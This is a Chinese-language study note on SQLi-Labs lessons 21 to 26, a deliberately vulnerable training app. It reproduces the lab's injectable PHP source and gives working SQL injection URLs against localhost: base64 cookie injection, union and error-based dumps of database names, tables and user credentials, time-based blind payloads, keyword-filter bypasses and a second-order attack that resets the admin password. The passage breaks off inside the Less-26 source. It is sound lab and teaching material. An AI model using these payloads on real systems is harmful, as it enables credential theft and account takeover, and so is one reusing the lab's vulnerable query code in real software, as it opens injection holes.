SQLi-Labs 学习笔记(Less 21-30)

点击打开链接

Less-21 基于错误的复杂的字符型Cookie注入


先打开网页查看 Welcome Dhakkan


②查看源代码:

[plain]  view plain  copy
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml">  
  3. <head>  
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  5.   
  6. <title>Less-21 Cookie Injection- Error Based- complex - string</title>  
  7. </head>  
  8.   
  9. <body bgcolor="#000000">  
  10. <?php  
  11. //including the Mysql connect parameters.  
  12.     include("../sql-connections/sql-connect.php");  
  13. if(!isset($_COOKIE['uname']))  
  14.     {  
  15.     //including the Mysql connect parameters.  
  16.     include("../sql-connections/sql-connect.php");  
  17.   
  18.     echo "<div style=' margin-top:20px;color:#FFF; font-size:24px; text-align:center'> Welcome   <font color='#FF0000'> Dhakkan </font><br></div>";  
  19.     echo "<div  align='center' style='margin:20px 0px 0px 510px;border:20px; background-color:#0CF; text-align:center;width:400px; height:150px;'>";  
  20.     echo "<div style='padding-top:10px; font-size:15px;'>";  
  21.    
  22.   
  23.     echo "<!--Form to post the contents -->";  
  24.     echo '<form action=" " name="form1" method="post">';  
  25.   
  26.     echo ' <div style="margin-top:15px; height:30px;">Username :    ';  
  27.     echo '   <input type="text"  name="uname" value=""/>  </div>';  
  28.     
  29.     echo ' <div> Password :      ';  
  30.     echo '   <input type="text" name="passwd" value=""/></div></br>';   
  31.     echo '   <div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /></div>';  
  32.   
  33.     echo '</form>';  
  34.     echo '</div>';  
  35.     echo '</div>';  
  36.     echo '<div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">';  
  37.     echo '<font size="3" color="#FFFF00">';  
  38.     echo '<center><br><br><br>';  
  39.     echo '<img src="../images/Less-21.jpg" />';  
  40.     echo '</center>';  
  41.   
  42.   
  43.   
  44.   
  45.   
  46.       
  47. function check_input($value)  
  48.     {  
  49.     if(!empty($value))  
  50.         {  
  51.         $value = substr($value,0,20); // truncation (see comments)  
  52.         }  
  53.         if (get_magic_quotes_gpc())  // Stripslashes if magic quotes enabled  
  54.             {  
  55.             $value = stripslashes($value);  
  56.             }  
  57.         if (!ctype_digit($value))       // Quote if not a number  
  58.             {  
  59.             $value = "'" . mysql_real_escape_string($value) . "'";  
  60.             }  
  61.     else  
  62.         {  
  63.         $value = intval($value);  
  64.         }  
  65.     return $value;  
  66.     }  
  67.   
  68.   
  69.       
  70.     echo "<br>";  
  71.     echo "<br>";  
  72.       
  73.     if(isset($_POST['uname']) && isset($_POST['passwd']))  
  74.         {  
  75.       
  76.         $uname = check_input($_POST['uname']);  
  77.         $passwd = check_input($_POST['passwd']);  
  78.           
  79.       
  80.   
  81.           
  82.         $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";  
  83.         $result1 = mysql_query($sql);  
  84.         $row1 = mysql_fetch_array($result1);  
  85.             if($row1)  
  86.                 {  
  87.                 echo '<font color= "#FFFF00" font size = 3 >';  
  88.                 setcookie('uname', base64_encode($row1['username']), time()+3600);    
  89.                   
  90.                 echo "I LOVE YOU COOKIES";  
  91.                 echo "</font>";  
  92.                 echo '<font color= "#0000ff" font size = 3 >';              
  93.                 //echo 'Your Cookie is: ' .$cookee;  
  94.                 echo "</font>";  
  95.                 echo "<br>";  
  96.                 print_r(mysql_error());           
  97.                 echo "<br><br>";  
  98.                 echo '<img src="../images/flag.jpg" />';  
  99.                 echo "<br>";  
  100.                 header ('Location: index.php');  
  101.                 }  
  102.             else  
  103.                 {  
  104.                 echo '<font color= "#0000ff" font size="3">';  
  105.                 //echo "Try again looser";  
  106.                 print_r(mysql_error());  
  107.                 echo "</br>";           
  108.                 echo "</br>";  
  109.                 echo '<img src="../images/slap.jpg" />';    
  110.                 echo "</font>";    
  111.                 }  
  112.             }  
  113.           
  114.             echo "</font>";    
  115.     echo '</font>';  
  116.     echo '</div>';  
  117.   
  118. }  
  119. else  
  120. {  
  121.   
  122.   
  123.   
  124.     if(!isset($_POST['submit']))  
  125.         {  
  126.             $cookee = $_COOKIE['uname'];  
  127.             $format = 'D d M Y - H:i:s';  
  128.             $timestamp = time() + 3600;  
  129.             echo "<center>";  
  130.             echo "<br><br><br><b>";  
  131.             echo '<img src="../images/Less-21.jpg" />';  
  132.             echo "<br><br><b>";  
  133.             echo '<br><font color= "red" font size="4">';     
  134.             echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];  
  135.             echo "</font><br>";   
  136.             echo '<font color= "cyan" font size="4">';      
  137.             echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];             
  138.             echo "</font><br>";           
  139.             echo '<font color= "#FFFF00" font size = 4 >';  
  140.             echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";  
  141.             echo '<font color= "orange" font size = 5 >';           
  142.             echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);  
  143.               
  144.             $cookee = base64_decode($cookee);  
  145.             echo "<br></font>";  
  146.             $sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";  
  147.             $result=mysql_query($sql);  
  148.             if (!$result)  
  149.                 {  
  150.                 die('Issue with your mysql: ' . mysql_error());  
  151.                 }  
  152.             $row = mysql_fetch_array($result);  
  153.             if($row)  
  154.                 {  
  155.                 echo '<font color= "pink" font size="5">';      
  156.                 echo 'Your Login name:'. $row['username'];  
  157.                 echo "<br>";  
  158.                 echo '<font color= "grey" font size="5">';      
  159.                 echo 'Your Password:' .$row['password'];  
  160.                 echo "</font></b>";  
  161.                 echo "<br>";  
  162.                 echo 'Your ID:' .$row['id'];  
  163.                 }  
  164.             else      
  165.                 {  
  166.                 echo "<center>";  
  167.                 echo '<br><br><br>';  
  168.                 echo '<img src="../images/slap1.jpg" />';  
  169.                 echo "<br><br><b>";  
  170.                 //echo '<img src="../images/Less-20.jpg" />';  
  171.                 }  
  172.             echo '<center>';  
  173.             echo '<form action="" method="post">';  
  174.             echo '<input  type="submit" name="submit" value="Delete Your Cookie!" />';  
  175.             echo '</form>';  
  176.             echo '</center>';  
  177.         }     
  178.     else  
  179.         {  
  180.         echo '<center>';  
  181.         echo "<br>";  
  182.         echo "<br>";  
  183.         echo "<br>";  
  184.         echo "<br>";  
  185.         echo "<br>";  
  186.         echo "<br>";  
  187.         echo '<font color= "#FFFF00" font size = 6 >';  
  188.         echo " Your Cookie is deleted";  
  189.                 setcookie('uname', base64_encode($row1['username']), time()-3600);  
  190.                 header ('Location: index.php');  
  191.         echo '</font></center></br>';  
  192.           
  193.         }         
  194.   
  195.   
  196.             echo "<br>";  
  197.             echo "<br>";  
  198.             //header ('Location: main.php');  
  199.             echo "<br>";  
  200.             echo "<br>";  
  201.               
  202.             //echo '<img src="../images/slap.jpg" /></center>';  
  203.             //logging the connection parameters to a file for analysis.   
  204.         $fp=fopen('result.txt','a');  
  205.         fwrite($fp,'Cookie:'.$cookee."\n");  
  206.       
  207.         fclose($fp);  
  208.       
  209. }  
  210. ?>  
  211.   
  212. </body>  
  213. </html>  

分析代码可以看到这里采用了 base64编码

[plain]  view plain  copy
  1. $cookee = base64_decode($cookee);  
  2. echo "<br></font>";  
  3. $sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";  

那我们只要把注入的语句改成base64就可以了


Less-22 基于错误的双引号字符型Cookie注入


先打开网页查看 Welcome Dhakkan


②查看源代码:

[plain]  view plain  copy
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml">  
  3. <head>  
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  5.   
  6. <title>Less-22 Cookie Injection- Error Based- Double Quotes - string</title>  
  7. </head>  
  8.   
  9. <body bgcolor="#000000">  
  10. <?php  
  11. //including the Mysql connect parameters.  
  12.     include("../sql-connections/sql-connect.php");  
  13. if(!isset($_COOKIE['uname']))  
  14.     {  
  15.     //including the Mysql connect parameters.  
  16.     include("../sql-connections/sql-connect.php");  
  17.   
  18.     echo "<div style=' margin-top:20px;color:#FFF; font-size:24px; text-align:center'> Welcome   <font color='#FF0000'> Dhakkan </font><br></div>";  
  19.     echo "<div  align='center' style='margin:20px 0px 0px 510px;border:20px; background-color:#0CF; text-align:center;width:400px; height:150px;'>";  
  20.     echo "<div style='padding-top:10px; font-size:15px;'>";  
  21.    
  22.   
  23.     echo "<!--Form to post the contents -->";  
  24.     echo '<form action=" " name="form1" method="post">';  
  25.   
  26.     echo ' <div style="margin-top:15px; height:30px;">Username :    ';  
  27.     echo '   <input type="text"  name="uname" value=""/>  </div>';  
  28.     
  29.     echo ' <div> Password :      ';  
  30.     echo '   <input type="text" name="passwd" value=""/></div></br>';   
  31.     echo '   <div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /></div>';  
  32.   
  33.     echo '</form>';  
  34.     echo '</div>';  
  35.     echo '</div>';  
  36.     echo '<div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">';  
  37.     echo '<font size="3" color="#FFFF00">';  
  38.     echo '<center><br><br><br>';  
  39.     echo '<img src="../images/Less-22.jpg" />';  
  40.     echo '</center>';  
  41.   
  42.   
  43.   
  44.   
  45.   
  46.   
  47.       
  48. function check_input($value)  
  49.     {  
  50.     if(!empty($value))  
  51.         {  
  52.         $value = substr($value,0,20); // truncation (see comments)  
  53.         }  
  54.         if (get_magic_quotes_gpc())  // Stripslashes if magic quotes enabled  
  55.             {  
  56.             $value = stripslashes($value);  
  57.             }  
  58.         if (!ctype_digit($value))       // Quote if not a number  
  59.             {  
  60.             $value = "'" . mysql_real_escape_string($value) . "'";  
  61.             }  
  62.     else  
  63.         {  
  64.         $value = intval($value);  
  65.         }  
  66.     return $value;  
  67.     }  
  68.   
  69.   
  70.       
  71.     echo "<br>";  
  72.     echo "<br>";  
  73.       
  74.     if(isset($_POST['uname']) && isset($_POST['passwd']))  
  75.         {  
  76.       
  77.         $uname = check_input($_POST['uname']);  
  78.         $passwd = check_input($_POST['passwd']);  
  79.           
  80.       
  81.   
  82.           
  83.         $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";  
  84.         $result1 = mysql_query($sql);  
  85.         $row1 = mysql_fetch_array($result1);  
  86.             if($row1)  
  87.                 {  
  88.                 echo '<font color= "#FFFF00" font size = 3 >';  
  89.                 setcookie('uname', base64_encode($row1['username']), time()+3600);    
  90.                 header ('Location: index.php');  
  91.                 echo "I LOVE YOU COOKIES";  
  92.                 echo "</font>";  
  93.                 echo '<font color= "#0000ff" font size = 3 >';              
  94.                 //echo 'Your Cookie is: ' .$cookee;  
  95.                 echo "</font>";  
  96.                 echo "<br>";  
  97.                 print_r(mysql_error());           
  98.                 echo "<br><br>";  
  99.                 echo '<img src="../images/flag.jpg" />';  
  100.                 echo "<br>";  
  101.                 }  
  102.             else  
  103.                 {  
  104.                 echo '<font color= "#0000ff" font size="3">';  
  105.                 //echo "Try again looser";  
  106.                 print_r(mysql_error());  
  107.                 echo "</br>";           
  108.                 echo "</br>";  
  109.                 echo '<img src="../images/slap.jpg" />';    
  110.                 echo "</font>";    
  111.                 }  
  112.             }  
  113.           
  114.             echo "</font>";    
  115.     echo '</font>';  
  116.     echo '</div>';  
  117.   
  118. }  
  119. else  
  120. {  
  121.   
  122.   
  123.   
  124.     if(!isset($_POST['submit']))  
  125.         {  
  126.             $cookee = $_COOKIE['uname'];  
  127.             $format = 'D d M Y - H:i:s';  
  128.             $timestamp = time() + 3600;  
  129.             echo "<center>";  
  130.             echo "<br><br><br><b>";  
  131.             echo '<img src="../images/Less-21.jpg" />';  
  132.             echo "<br><br><b>";  
  133.             echo '<br><font color= "red" font size="4">';     
  134.             echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];  
  135.             echo "</font><br>";   
  136.             echo '<font color= "cyan" font size="4">';      
  137.             echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];             
  138.             echo "</font><br>";           
  139.             echo '<font color= "#FFFF00" font size = 4 >';  
  140.             echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";  
  141.             echo '<font color= "orange" font size = 5 >';           
  142.             echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);  
  143.               
  144.             $cookee = base64_decode($cookee);  
  145.             $cookee1 = '"'. $cookee. '"';  
  146.             echo "<br></font>";  
  147.             $sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";  
  148.             $result=mysql_query($sql);  
  149.             if (!$result)  
  150.                 {  
  151.                 die('Issue with your mysql: ' . mysql_error());  
  152.                 }  
  153.             $row = mysql_fetch_array($result);  
  154.             if($row)  
  155.                 {  
  156.                 echo '<font color= "pink" font size="5">';      
  157.                 echo 'Your Login name:'. $row['username'];  
  158.                 echo "<br>";  
  159.                 echo '<font color= "grey" font size="5">';      
  160.                 echo 'Your Password:' .$row['password'];  
  161.                 echo "</font></b>";  
  162.                 echo "<br>";  
  163.                 echo 'Your ID:' .$row['id'];  
  164.                 }  
  165.             else      
  166.                 {  
  167.                 echo "<center>";  
  168.                 echo '<br><br><br>';  
  169.                 echo '<img src="../images/slap1.jpg" />';  
  170.                 echo "<br><br><b>";  
  171.                 //echo '<img src="../images/Less-20.jpg" />';  
  172.                 }  
  173.             echo '<center>';  
  174.             echo '<form action="" method="post">';  
  175.             echo '<input  type="submit" name="submit" value="Delete Your Cookie!" />';  
  176.             echo '</form>';  
  177.             echo '</center>';  
  178.         }     
  179.     else  
  180.         {  
  181.         echo '<center>';  
  182.         echo "<br>";  
  183.         echo "<br>";  
  184.         echo "<br>";  
  185.         echo "<br>";  
  186.         echo "<br>";  
  187.         echo "<br>";  
  188.         echo '<font color= "#FFFF00" font size = 6 >';  
  189.         echo " Your Cookie is deleted";  
  190.                 setcookie('uname', base64_encode($row1['username']), time()-3600);  
  191.                 header ('Location: index.php');  
  192.         echo '</font></center></br>';  
  193.           
  194.         }         
  195.   
  196.   
  197.             echo "<br>";  
  198.             echo "<br>";  
  199.             //header ('Location: main.php');  
  200.             echo "<br>";  
  201.             echo "<br>";  
  202.               
  203.             //echo '<img src="../images/slap.jpg" /></center>';  
  204.             //logging the connection parameters to a file for analysis.   
  205.         $fp=fopen('result.txt','a');  
  206.         fwrite($fp,'Cookie:'.$cookee."\n");  
  207.       
  208.         fclose($fp);  
  209.       
  210. }  
  211. ?>  
  212.   
  213. </body>  
  214. </html>  

没什么好说的,这次用的是双引号,那就改双引号喽



Less-23 基于错误的,过滤注释的GET型


先打开网页查看 Welcome Dhakkan


②查看源代码:

[plain]  view plain  copy
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml">  
  3. <head>  
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  5. <title>Less-23 **Error Based- no comments**</title>  
  6. </head>  
  7.   
  8. <body bgcolor="#000000">  
  9. <div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan </font><br>  
  10. <font size="3" color="#FFFF00">  
  11.   
  12.   
  13. <?php  
  14. //including the Mysql connect parameters.  
  15. include("../sql-connections/sql-connect.php");  
  16.   
  17. // take the variables   
  18. if(isset($_GET['id']))  
  19. {  
  20. $id=$_GET['id'];  
  21.   
  22. //filter the comments out so as to comments should not work  
  23. $reg = "/#/";  
  24. $reg1 = "/--/";  
  25. $replace = "";  
  26. $id = preg_replace($reg, $replace, $id);  
  27. $id = preg_replace($reg1, $replace, $id);  
  28. //logging the connection parameters to a file for analysis.  
  29. $fp=fopen('result.txt','a');  
  30. fwrite($fp,'ID:'.$id."\n");  
  31. fclose($fp);  
  32.   
  33. // connectivity   
  34.   
  35.   
  36. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";  
  37. $result=mysql_query($sql);  
  38. $row = mysql_fetch_array($result);  
  39.   
  40.     if($row)  
  41.     {  
  42.     echo '<font color= "#0000ff">';     
  43.     echo 'Your Login name:'. $row['username'];  
  44.     echo "<br>";  
  45.     echo 'Your Password:' .$row['password'];  
  46.     echo "</font>";  
  47.     }  
  48.     else   
  49.     {  
  50.     echo '<font color= "#FFFF00">';  
  51.     print_r(mysql_error());  
  52.     echo "</font>";    
  53.     }  
  54. }  
  55.     else { echo "Please input the ID as parameter with numeric value";}  
  56.   
  57. ?>  
  58. </font> </div></br></br></br><center>  
  59. <img src="../images/Less-23.jpg" /></center>  
  60. </body>  
  61. </html>  

既然是过滤字符,那就来判断一下它都过滤了哪些字符,首先判断#号


很明显#号被过滤了,因为如果没有被过滤那么是不会报错了,报错的原因是因为:

[plain]  view plain  copy
  1. SELECT * FROM users WHERE id='$id' LIMIT 0,1  

被替换成了

[plain]  view plain  copy
  1. SELECT * FROM users WHERE id='1'#' LIMIT 0,1  

#号被过滤掉的话,就会报错,再来看看 -- 单行注释有没有被过滤


%20是空格的意思,因为我们要在--后加个空格或其他什么字符,单行注释才有效,那么很明显,也被过滤了。至于为什么说被过滤了,和刚才的判断方法一样。


总结一下如何判断注释过滤,具体过滤成什么就要看报错信息

#:直接加 单引号,双引号等,后面再加个#

--:直接加 单引号,双引号等,后面再加个--,后面不用空格(因为--注释有效的时候,后面要有空格或其他字符才行,这里判断过滤就不用了)


既然被过滤了,那我们只好闭合绕过

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-23/?id=1' or '1'='1  


开始构建sql语句:

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-23/?id=-1' union select 1,database(),'3  


此处讲解几个知识点:

  1. id=-1,为什么要用-1,因为sql语句执行了两个select语句,第一个select为id的选择语句,第二个为我们构造的select语句。只有一个数据可以输出,为了让我们自己构造的数据可以正常输出,第一个select要没有结果,所以-1或者超过数据库所有数据都可以。
  2. -1' union select 1,database(),'3,第一个'(单引号)闭合-1,第二个'(单引号)闭合后面的。这样将查询内容显示在username处。

此处可以报错注入,延时注入,可以利用or '1'='1进行闭合。

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-23/?id=-1' or extractvalue(1,concat(0x7e,database())) or '1'='1  


获取数据库:

[plain]  view plain  copy
  1. http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1,(select group_concat(schema_name) from information_schema.schemata),'3   

查看 security库数据表
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-23/?id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3  


查看users表的所有列:

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-23/?id=-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),'3  

获取内容:
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-23/?id=-1' union select 1,(select group_concat(username) from security.users limit 0,1),'3  


Less-24二次注入


先打开网页查看 Welcome Dhakkan


这次页面稍微有趣一点了,来看看根目录有哪些文件


Ps:本关可能会有朋友和我遇到一样的问题,登录成功以后没有修改密码的相关操作。此时造成问题的主要原因是logged-in.php文件不正确。可重新下载解压,解压过程中要主要要覆盖


本关为二次排序注入的示范例。二次排序注入也称为存储型的注入,就是将可能导致sql注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以出发sql注入。二次排序注入思路:


1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。

2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。

3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。

4. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。

5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。


那么,我们来分析一下代码,首先是login.php(对登录进行处理的文件):

[plain]  view plain  copy
  1. $username = mysql_real_escape_string($_POST["login_user"]);  
  2. $password = mysql_real_escape_string($_POST["login_password"]);  
  3. $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";  


很明显的,对用户和密码都过滤了,接下来是login_create.php(对新建用户进行处理的文件):

[plain]  view plain  copy
  1. $username=  mysql_escape_string($_POST['username']) ;  
  2. $pass= mysql_escape_string($_POST['password']);  
  3. $re_pass= mysql_escape_string($_POST['re_password']);  

过滤了三个字段,到了pass_change.php我们就有收获了,


发现更改密码时,直接从SESSION里面获取而没有进行任何的过滤,一旦我的用户名有注释符,那么我就可以随意更改别人的密码了。


既然思路已经有了,那么就开始吧,首先注册一个admin'#的账号,接下来登录该帐号后进行修改密码。此时修改的就是admin的密码。


我们先看下admin的密码,此时的密码是1:


然后我们对 admin'# 修改密码,这期间会执行这样的一条语句:

[plain]  view plain  copy
  1. UPDATE users SET passwd="New_Pass" WHERE username ='admin'#' AND password='...  

事实上也就是执行了:

[plain]  view plain  copy
  1. UPDATE users SET passwd="New_Pass" WHERE username ='admin'  


那么,来修改下密码,看看admin的密码是否变化了,我将密码改为888888


来看看数据库的,我们发现admin的密码变成了888888



Less-25 过滤了or和and


先打开网页查看 Welcome Dhakkan


②查看源代码:

[plain]  view plain  copy
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml">  
  3. <head>  
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  5. <title>Less-25 Trick with OR & AND</title>  
  6. </head>  
  7.   
  8. <body bgcolor="#000000">  
  9. <div style=" margin-top:70px;color:#FFF; font-size:40px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan </font><br>  
  10. <font size="3" color="#FFFF00">  
  11.   
  12.   
  13. <?php  
  14. //including the Mysql connect parameters.  
  15. include("../sql-connections/sql-connect.php");  
  16.   
  17.   
  18. // take the variables   
  19. if(isset($_GET['id']))  
  20. {  
  21.     $id=$_GET['id'];  
  22.     //logging the connection parameters to a file for analysis.  
  23.     $fp=fopen('result.txt','a');  
  24.     fwrite($fp,'ID:'.$id."\n");  
  25.     fclose($fp);  
  26.   
  27.     //fiddling with comments  
  28.     $id= blacklist($id);  
  29.     //echo "<br>";  
  30.     //echo $id;  
  31.     //echo "<br>";  
  32.     $hint=$id;  
  33.   
  34. // connectivity   
  35.     $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";  
  36.     $result=mysql_query($sql);  
  37.     $row = mysql_fetch_array($result);  
  38.     if($row)  
  39.     {  
  40.         echo "<font size='5' color= '#99FF00'>";    
  41.         echo 'Your Login name:'. $row['username'];  
  42.         echo "<br>";  
  43.         echo 'Your Password:' .$row['password'];  
  44.         echo "</font>";  
  45.     }  
  46.     else   
  47.     {  
  48.         echo '<font color= "#FFFF00">';  
  49.         print_r(mysql_error());  
  50.         echo "</font>";    
  51.     }  
  52. }  
  53. else   
  54. {   
  55.     echo "Please input the ID as parameter with numeric value";  
  56. }  
  57.   
  58.   
  59. function blacklist($id)  
  60. {  
  61.     $id= preg_replace('/or/i',"", $id);         //strip out OR (non case sensitive)  
  62.     $id= preg_replace('/AND/i',"", $id);        //Strip out AND (non case sensitive)  
  63.       
  64.     return $id;  
  65. }  
  66.   
  67.   
  68.   
  69.   
  70. ?>  
  71. </font> </div></br></br></br><center>  
  72. <img src="../images/Less-25.jpg" />  
  73. </br>  
  74. </br>  
  75. </br>  
  76. <img src="../images/Less-25-1.jpg" />  
  77. </br>  
  78. </br>  
  79. <font size='4' color= "#33FFFF">  
  80. <?php  
  81. echo "Hint: Your Input is Filtered with following result: ".$hint;  
  82. ?>  
  83. </font>   
  84. </center>  
  85. </body>  
  86. </html>  


[plain]  view plain  copy
  1. 首先,通过确认单引号字符注入  
  2. http://localhost/sqli-labs/Less-25/?id=1'    
  3. 判断过滤了or,跟less1对比报错即可推断出来  
  4.   
  5. http://localhost/sqli-labs/Less-25/?id=1' or1   
  6.   
  7. 判断过滤了and   
  8. http://localhost/sqli-labs/Less-25/?id=1' and1    
  9.   
  10. 再分析下源码,开了i模式的匹配,大小写看来是不能饶的  
  11. $id= preg_replace('/or/i',"", $id);   
  12. $id= preg_replace('/AND/i',"", $id);  


如何绕过or和and过滤。一般性提供以下几种思路:

  1. 大小写变形 Or,OR,oR
  2. 编码,hex,urlencode
  3. 添加注释/*or*/
  4. 利用符号 and=&& or=||
  5. 双写绕过 oorr anandd

这里我们利用(4)进行注入,


利用extractvalue,来获取数据库信息

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-25/?id=1' || extractvalue(1,concat(0x7e,database())) || '1'='1  


Less-25a 过滤了or和and的盲注


先打开网页查看 Welcome Dhakkan


②查看源代码  :

[plain]  view plain  copy
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml">  
  3. <head>  
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  5. <title>Less-25a Trick with OR & AND Blind</title>  
  6. </head>  
  7.   
  8. <body bgcolor="#000000">  
  9. <div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan </font><br>  
  10. <font size="3" color="#FFFF00">  
  11.   
  12.   
  13. <?php  
  14. //including the Mysql connect parameters.  
  15. include("../sql-connections/sql-connect.php");  
  16.   
  17.   
  18. // take the variables  
  19. if(isset($_GET['id']))  
  20. {  
  21. $id=$_GET['id'];  
  22. //logging the connection parameters to a file for analysis.  
  23. $fp=fopen('result.txt','a');  
  24. fwrite($fp,'ID:'.$id."\n");  
  25. fclose($fp);  
  26.   
  27.     //fiddling with comments  
  28.     $id= blacklist($id);  
  29.     //echo "<br>";  
  30.     //echo $id;  
  31.     //echo "<br>";  
  32.     $hint=$id;  
  33.   
  34. // connectivity   
  35. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";  
  36. $result=mysql_query($sql);  
  37. $row = mysql_fetch_array($result);  
  38.   
  39.     if($row)  
  40.     {  
  41.         echo "<font size='5' color= '#99FF00'>";    
  42.         echo 'Your Login name:'. $row['username'];  
  43.         //echo 'YOU ARE IN ........';         
  44.         echo "<br>";  
  45.         echo 'Your Password:' .$row['password'];  
  46.         echo "</font>";  
  47.     }  
  48.     else   
  49.     {  
  50.         echo '<font size="5" color="#FFFF00">';  
  51.         //echo 'You are in...........';  
  52.         //print_r(mysql_error());  
  53.         //echo "You have an error in your SQL syntax";  
  54.         echo "</br></font>";      
  55.         echo '<font color= "#0000ff" font size= 3>';    
  56.       
  57.     }  
  58. }  
  59.     else   
  60. {   
  61.     echo "Please input the ID as parameter with numeric value";  
  62. }  
  63.   
  64. function blacklist($id)  
  65. {  
  66.     $id= preg_replace('/or/i',"", $id);         //strip out OR (non case sensitive)  
  67.     $id= preg_replace('/AND/i',"", $id);        //Strip out AND (non case sensitive)  
  68.       
  69.     return $id;  
  70. }  
  71.   
  72.   
  73.   
  74. ?>  
  75.   
  76. </font> </div></br></br></br><center>  
  77. <img src="../images/Less-25a.jpg" />  
  78. </br>  
  79. </br>  
  80. </br>  
  81. <img src="../images/Less-25a-1.jpg" />  
  82. </br>  
  83. </br>  
  84. <font size='4' color= "#33FFFF">  
  85. <?php  
  86. echo "Hint: Your Input is Filtered with following result: ".$hint;  
  87. ?>  
  88. </font>   
  89. </center>  
  90. </body>  
  91. </html>  

那么盲注怎么判断过滤了and跟or呢,直接在前面添加or或and

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-25a/?id=or1  

不同于25关的是sql语句中对于id,没有''的包含,同时没有输出错误项,报错注入不能用。其余基本上和25示例没有差别。此处采取两种方式:延时注入和联合注入。

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-25a/?id=-1 || if(length(database())=8,1,sleep(5))#  

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-25a/?id=-1 union select 1,database(),3#  


Less-26 过滤了注释和空格的注入


先打开网页查看 Welcome Dhakkan


②查看源码:

[plain]  view plain  copy
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml">  
  3. <head>  
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  5. <title>Less-26 Trick with comments</title>  
  6. </head>  
  7.   
  8. <body bgcolor="#000000">  
  9. <div style=" margin-top:70px;color:#FFF; font-size:40px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan </font><br>  
  10. <font size="3" color="#FFFF00">  
  11.   
  12.   
  13. <?php  
  14. //including the Mysql connect parameters.  
  15. include("../sql-connections/sql-connect.php");  
  16.   
  17. // take the variables   
  18. if(isset($_GET['id']))  
  19. {  
  20.     $id=$_GET['id'];  
  21.     //logging the connection parameters to a file for analysis.  
  22.     $fp=fopen('result.txt','a');  
